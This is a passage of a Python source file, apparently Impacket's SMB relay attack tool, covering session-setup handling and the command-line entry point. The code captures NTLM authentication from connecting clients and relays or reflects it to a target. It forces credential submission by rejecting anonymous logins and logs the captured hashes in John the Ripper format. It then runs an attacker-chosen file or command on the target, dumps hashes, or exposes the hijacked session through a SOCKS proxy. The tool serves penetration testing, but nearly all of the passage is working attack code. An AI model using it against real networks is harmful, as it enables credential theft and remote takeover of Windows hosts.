   754                  if self.mode.upper() == 'REFLECTION':
   755                      # Force standard security when doing reflection
   756                      logging.info("Downgrading to standard security")
   757                      extSec = False
   758                      recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY)
   759                  else:
   760                      extSec = True
   761              client = SMBClient(self.target, extended_security = extSec)
   762              client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
   763              client.set_timeout(60)
   764          except Exception as e:
   765              logging.error("Connection against target %s FAILED" % self.target)
   766              logging.error(str(e))
   767          else: 
   768              encryptionKey = client.get_encryption_key()
   769              smbData[self.target] = {}
   770              smbData[self.target]['SMBClient'] = client
   771              if encryptionKey is not None:
   772                  connData['EncryptionKey'] = encryptionKey
   773              smbServer.setConnectionData('SMBRelay', smbData)
   774              smbServer.setConnectionData(connId, connData)
   775          return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
   776          #############################################################
   777  
   778      def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket):
   779  
   780          connData = smbServer.getConnectionData(connId, checkStatus = False)
   781          #############################################################
   782          # SMBRelay
   783          smbData = smbServer.getConnectionData('SMBRelay', False)
   784          #############################################################
   785  
   786          respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
   787          global ATTACKED_HOSTS
   788  
   789          if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
   790              # Extended security. Here we deal with all SPNEGO stuff
   791              respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
   792              respData       = SMBSessionSetupAndX_Extended_Response_Data()
   793              sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
   794              sessionSetupData = SMBSessionSetupAndX_Extended_Data()
   795              sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
   796              sessionSetupData.fromString(smbCommand['Data'])
   797              connData['Capabilities'] = sessionSetupParameters['Capabilities']
   798  
   799              if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
   800                 # If there no GSSAPI ID, it must be an AUTH packet
   801                 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
   802                 token = blob['ResponseToken']
   803              else:
   804                 # NEGOTIATE packet
   805                 blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
   806                 token = blob['MechToken']
   807  
   808              # Here we only handle NTLMSSP, depending on what stage of the 
   809              # authentication we are, we act on it
   810              messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
   811  
   812              if messageType == 0x01:
   813                  # NEGOTIATE_MESSAGE
   814                  negotiateMessage = NTLMAuthNegotiate()
   815                  negotiateMessage.fromString(token)
   816                  # Let's store it in the connection data
   817                  connData['NEGOTIATE_MESSAGE'] = negotiateMessage
   818  
   819                  #############################################################
   820                  # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 
   821                  # Let's send it to the target server and send the answer back to the client.
   822  
   823                  # Let's check if we already attacked this host.
   824                  global ATTACKED_HOSTS
   825                  if self.target in ATTACKED_HOSTS and self.one_shot is True:
   826                      logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
   827                      connData['ClientIP'], self.target))
   828                      packet = NewSMBPacket()
   829                      packet['Flags1'] = SMB.FLAGS1_REPLY
   830                      packet['Flags2'] = SMB.FLAGS2_NT_STATUS
   831                      packet['Command'] = recvPacket['Command']
   832                      packet['Pid'] = recvPacket['Pid']
   833                      packet['Tid'] = recvPacket['Tid']
   834                      packet['Mid'] = recvPacket['Mid']
   835                      packet['Uid'] = recvPacket['Uid']
   836                      packet['Data'] = b'\x00\x00\x00'
   837                      errorCode = STATUS_NOT_SUPPORTED
   838                      packet['ErrorCode'] = errorCode >> 16
   839                      packet['ErrorClass'] = errorCode & 0xff
   840  
   841                      return None, [packet], STATUS_NOT_SUPPORTED
   842  
   843                  # It might happen if the target connects back before a previous connection has finished, we might
   844                  # get to this function w/o having the dict and smbClient entry created, because a
   845                  # NEGOTIATE_CONNECTION was not needed
   846                  if (self.target in smbData) is False:
   847                      smbData[self.target] = {}
   848                      smbClient = SMBClient(self.target)
   849                      smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
   850                      smbClient.set_timeout(60)
   851                      smbData[self.target]['SMBClient'] = smbClient
   852  
   853                  smbClient = smbData[self.target]['SMBClient']
   854                  clientChallengeMessage = smbClient.sendNegotiate(token) 
   855                  challengeMessage = NTLMAuthChallenge()
   856                  challengeMessage.fromString(clientChallengeMessage)
   857                  #############################################################
   858  
   859                  respToken = SPNEGO_NegTokenResp()
   860                  # accept-incomplete. We want more data
   861                  respToken['NegResult'] = b'\x01'
   862                  respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
   863  
   864                  respToken['ResponseToken'] = challengeMessage.getData()
   865  
   866                  # Setting the packet to STATUS_MORE_PROCESSING
   867                  errorCode = STATUS_MORE_PROCESSING_REQUIRED
   868                  # Let's set up an UID for this connection and store it 
   869                  # in the connection's data
   870                  # Picking a fixed value
   871                  # TODO: Manage more UIDs for the same session
   872                  connData['Uid'] = 10
   873                  # Let's store it in the connection data
   874                  connData['CHALLENGE_MESSAGE'] = challengeMessage
   875  
   876              elif messageType == 0x03:
   877                  # AUTHENTICATE_MESSAGE, here we deal with authentication
   878  
   879                  #############################################################
   880                  # SMBRelay: Ok, so now the have the Auth token, let's send it
   881                  # back to the target system and hope for the best.
   882                  smbClient = smbData[self.target]['SMBClient']
   883                  authenticateMessage = NTLMAuthChallengeResponse()
   884                  authenticateMessage.fromString(token)
   885                  if authenticateMessage['user_name'] != '':
   886                      clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'],
   887                                                                     sessionSetupData['SecurityBlob'])
   888                  else:
   889                      # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
   890                      errorCode = STATUS_ACCESS_DENIED
   891  
   892                  if errorCode != STATUS_SUCCESS:
   893                      # Let's return what the target returned, hope the client connects back again
   894                      packet = NewSMBPacket()
   895                      packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
   896                      packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
   897                      packet['Command'] = recvPacket['Command']
   898                      packet['Pid']     = recvPacket['Pid']
   899                      packet['Tid']     = recvPacket['Tid']
   900                      packet['Mid']     = recvPacket['Mid']
   901                      packet['Uid']     = recvPacket['Uid']
   902                      packet['Data']    = b'\x00\x00\x00'
   903                      packet['ErrorCode']   = errorCode >> 16
   904                      packet['ErrorClass']  = errorCode & 0xff
   905                      # Reset the UID
   906                      smbClient.setUid(0)
   907                      logging.error("Authenticating against %s as %s\\%s FAILED" % (
   908                      self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
   909                      # del (smbData[self.target])
   910                      return None, [packet], errorCode
   911                  else:
   912                      # We have a session, create a thread and do whatever we want
   913                      logging.info("Authenticating against %s as %s\\%s SUCCEED" % (
   914                      self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
   915                      ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
   916                                                          authenticateMessage['user_name'],
   917                                                          authenticateMessage['domain_name'],
   918                                                          authenticateMessage['lanman'], authenticateMessage['ntlm'])
   919                      logging.info(ntlm_hash_data['hash_string'])
   920                      if self.server.getJTRdumpPath() != '':
   921                          writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
   922                                                self.server.getJTRdumpPath())
   923  
   924                      # Target will be attacked, adding to the attacked set
   925                      # If the attack fails, the doAttack thread will be responsible of removing it from the set
   926                      ATTACKED_HOSTS.add(self.target)
   927                      if self.runSocks is True:
   928                          # Pass all the data to the socksplugins proxy
   929                          protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target))
   930                          protocolClient.session = SMBConnection(existingConnection=smbClient)
   931                          activeConnections.put((self.target, 445, 'SMB',
   932                                                 ('%s/%s' % (
   933                                                     authenticateMessage['domain_name'].decode('utf-16le'),
   934                                                     authenticateMessage['user_name'].decode('utf-16le'))).upper(),
   935                                                 protocolClient, connData))
   936                          logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
   937                          del (smbData[self.target])
   938                      else:
   939                          del (smbData[self.target])
   940                          clientThread = doAttack(smbClient,self.exeFile,self.command)
   941                          clientThread.start()
   942  
   943  
   944                      # Now continue with the server
   945                  #############################################################
   946  
   947                  # Return status code of the authentication process.
   948                  errorCode = self.returnStatus
   949                  logging.info("Sending status code %s after authentication to %s" % (
   950                  ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
   951  
   952                  respToken = SPNEGO_NegTokenResp()
   953                  # accept-completed
   954                  respToken['NegResult'] = b'\x00'
   955  
   956                  # Status SUCCESS
   957                  # Let's store it in the connection data
   958                  connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
   959              else:
   960                  raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
   961  
   962              respParameters['SecurityBlobLength'] = len(respToken)
   963  
   964              respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 
   965              respData['SecurityBlob']       = respToken.getData()
   966  
   967          else:
   968              # Process Standard Security
   969              respParameters = SMBSessionSetupAndXResponse_Parameters()
   970              respData       = SMBSessionSetupAndXResponse_Data()
   971              sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters'])
   972              sessionSetupData = SMBSessionSetupAndX_Data()
   973              sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
   974              sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
   975              sessionSetupData.fromString(smbCommand['Data'])
   976              connData['Capabilities'] = sessionSetupParameters['Capabilities']
   977              #############################################################
   978              # SMBRelay
   979              smbClient = smbData[self.target]['SMBClient']
   980              if sessionSetupData['Account'] != '':
   981                  clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'],
   982                                                                       sessionSetupData['PrimaryDomain'],
   983                                                                       sessionSetupData['AnsiPwd'],
   984                                                                       sessionSetupData['UnicodePwd'])
   985              else:
   986                  # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
   987                  errorCode = STATUS_ACCESS_DENIED
   988  
   989              if errorCode != STATUS_SUCCESS:
   990                  # Let's return what the target returned, hope the client connects back again
   991                  packet = NewSMBPacket()
   992                  packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
   993                  packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
   994                  packet['Command'] = recvPacket['Command']
   995                  packet['Pid']     = recvPacket['Pid']
   996                  packet['Tid']     = recvPacket['Tid']
   997                  packet['Mid']     = recvPacket['Mid']
   998                  packet['Uid']     = recvPacket['Uid']
   999                  packet['Data']    = '\x00\x00\x00'
  1000                  packet['ErrorCode']   = errorCode >> 16
  1001                  packet['ErrorClass']  = errorCode & 0xff
  1002                  # Reset the UID
  1003                  smbClient.setUid(0)
  1004                  return None, [packet], errorCode
  1005                  # Now continue with the server
  1006              else:
  1007                  # We have a session, create a thread and do whatever we want
  1008                  ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
  1009                                                      sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
  1010                  logging.info(ntlm_hash_data['hash_string'])
  1011                  if self.server.getJTRdumpPath() != '':
  1012                      writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
  1013                                            self.server.getJTRdumpPath())
  1014                  # Target will be attacked, adding to the attacked set
  1015                  # If the attack fails, the doAttack thread will be responsible of removing it from the set
  1016                  ATTACKED_HOSTS.add(self.target)
  1017                  if self.runSocks is True:
  1018                      # Pass all the data to the socksplugins proxy
  1019                      protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target))
  1020                      protocolClient.session = SMBConnection(existingConnection=smbClient)
  1021                      activeConnections.put((self.target, 445, 'SMB',
  1022                                             ('%s/%s' % (
  1023                                                 sessionSetupData['PrimaryDomain'],
  1024                                                 sessionSetupData['Account'])).upper(),
  1025                                             protocolClient, connData))
  1026                      logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
  1027                      # Remove the target server from our connection list, the work is done
  1028                      del (smbData[self.target])
  1029                  else:
  1030                      # Remove the target server from our connection list, the work is done
  1031                      del (smbData[self.target])
  1032                      clientThread = doAttack(smbClient, self.exeFile, self.command)
  1033                      clientThread.start()
  1034                  # Now continue with the server
  1035  
  1036  
  1037              #############################################################
  1038  
  1039              # Do the verification here, for just now we grant access
  1040              # TODO: Manage more UIDs for the same session
  1041              errorCode = self.returnStatus
  1042              logging.info("Sending status code %s after authentication to %s" % (
  1043              ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
  1044              connData['Uid'] = 10
  1045              respParameters['Action'] = 0
  1046  
  1047          respData['NativeOS']     = smbServer.getServerOS()
  1048          respData['NativeLanMan'] = smbServer.getServerOS()
  1049          respSMBCommand['Parameters'] = respParameters
  1050          respSMBCommand['Data']       = respData 
  1051  
  1052          # From now on, the client can ask for other commands
  1053          connData['Authenticated'] = True
  1054          #############################################################
  1055          # SMBRelay
  1056          smbServer.setConnectionData('SMBRelay', smbData)
  1057          #############################################################
  1058          smbServer.setConnectionData(connId, connData)
  1059  
  1060          return [respSMBCommand], None, errorCode
  1061  
  1062      def _start(self):
  1063          self.server.serve_forever()
  1064  
  1065      def run(self):
  1066          logging.info("Setting up SMB Server")
  1067          self._start()
  1068  
  1069      def setTargets(self, targets):
  1070          self.target = targets 
  1071  
  1072      def setExeFile(self, filename):
  1073          self.exeFile = filename
  1074  
  1075      def setCommand(self, command):
  1076          self.command = command
  1077  
  1078      def setSocks(self, socks):
  1079          self.runSocks = socks
  1080  
  1081      def setReturnStatus(self, returnStatus):
  1082          # Specifies return status after successful relayed authentication to return
  1083          # to the connecting client. This comes useful when we don't want the connecting
  1084          # client to store successful credentials in his memory. Valid statuses:
  1085          # STATUS_SUCCESS - denotes that the connecting client passed valid credentials,
  1086          #                   which will make him store them accordingly.
  1087          # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin,
  1088          #                       and got configured Remote UAC, thus preventing connection to ADMIN$
  1089          # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials
  1090          #                       are invalid.
  1091          self.returnStatus = {
  1092              'success' : STATUS_SUCCESS,
  1093              'denied' : STATUS_ACCESS_DENIED,
  1094              'logon_failure' : STATUS_LOGON_FAILURE
  1095          }[returnStatus.lower()]
  1096  
  1097      def setMode(self,mode, one_shot):
  1098          self.mode = mode
  1099          self.one_shot = one_shot
  1100  
  1101      def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
  1102          self.machineAccount = machineAccount
  1103          self.machineHashes = machineHashes
  1104          self.domainIp = domainIp
  1105  
  1106  # Process command-line arguments.
  1107  if __name__ == '__main__':
  1108  
  1109      RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
  1110      # Init the example's logger theme
  1111      logger.init()
  1112      print(version.BANNER)
  1113      parser = argparse.ArgumentParser(add_help=False,
  1114                                       description="For every connection received, this module will try to SMB relay that "
  1115                                                   " connection to the target system or the original client")
  1116      parser.add_argument("--help", action="help", help='show this help message and exit')
  1117      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
  1118      parser.add_argument('-h', action='store', metavar='HOST',
  1119                          help='Host to relay the credentials to, if not it will relay it back to the client')
  1120      parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success',
  1121                          help='Status to return after client performed authentication. Default: "success".')
  1122      parser.add_argument('-e', action='store', required=False, metavar='FILE',
  1123                          help='File to execute on the target system. If not specified, hashes will be dumped '
  1124                          '(secretsdump.py must be in the same directory)')
  1125      parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND',
  1126                          help='Command to execute on target system. If not specified, hashes will be dumped '
  1127                               '(secretsdump.py must be in the same directory)')
  1128      parser.add_argument('-socks', action='store_true', default=False,
  1129                          help='Launch a SOCKS proxy for the connection relayed')
  1130      parser.add_argument('-one-shot', action='store_true', default=False,
  1131                          help='After successful authentication, only execute the attack once for each target')
  1132      parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
  1133                                                         '"%s"). If errors are detected, run chcp.com at the target, '
  1134                                                         'map the result with '
  1135                                                         'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
  1136                                                         'again with -codec and the corresponding codec ' % CODEC)
  1137      parser.add_argument('-outputfile', action='store',
  1138                          help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')
  1139      parser.add_argument('-machine-account', action='store', required=False,
  1140                          help='Domain machine account to use when interacting with the domain to grab a session key for '
  1141                               'signing, format is domain/machine_name')
  1142      parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
  1143                          help='Domain machine hashes, format is LMHASH:NTHASH')
  1144      parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
  1145  
  1146      try:
  1147         options = parser.parse_args()
  1148      except Exception as e:
  1149         logging.error(str(e))
  1150         sys.exit(1)
  1151  
  1152      if options.codec is not None:
  1153          CODEC = options.codec
  1154  
  1155      if options.debug is True:
  1156          logging.getLogger().setLevel(logging.DEBUG)
  1157      else:
  1158          logging.getLogger().setLevel(logging.INFO)
  1159          logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
  1160  
  1161  
  1162      if options.h is not None:
  1163          logging.info("Running in relay mode")
  1164          mode = 'RELAY'
  1165          targetSystem = options.h
  1166      else:
  1167          logging.info("Running in reflection mode")
  1168          targetSystem = None
  1169          mode = 'REFLECTION'
  1170  
  1171      exeFile = options.e
  1172      Command = options.c
  1173      returnStatus = options.s
  1174  
  1175      threads = set()
  1176  
  1177      if options.socks is True:
  1178          # Start a SOCKS proxy in the background
  1179          s1 = SOCKS()
  1180          socks_thread = Thread(target=s1.serve_forever)
  1181          socks_thread.daemon = True
  1182          socks_thread.start()
  1183          threads.add(socks_thread)
  1184  
  1185      for server in RELAY_SERVERS:
  1186          s = server(options.outputfile)
  1187          s.setTargets(targetSystem)
  1188          s.setExeFile(exeFile)
  1189          s.setCommand(Command)
  1190          s.setSocks(options.socks)
  1191          s.setReturnStatus(returnStatus)
  1192          s.setMode(mode, options.one_shot)
  1193          if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
  1194              s.setDomainAccount( options.machine_account,  options.machine_hashes,  options.domain)
  1195          elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
  1196              logging.error("You must specify machine-account/hashes/domain all together!")
  1197              sys.exit(1)
  1198  
  1199          s.start()
  1200          threads.add(s)
  1201          
  1202      print("")
  1203      logging.info("Servers started, waiting for connections")
  1204      while True:
  1205          try:
  1206              sys.stdin.read()
  1207          except KeyboardInterrupt:
  1208              logging.info('Quitting.. please wait')
  1209              if options.socks is True:
  1210                  s1.shutdown()
  1211              for s in threads:
  1212                  del(s)
  1213              sys.exit(1)
  1214          else:
  1215              pass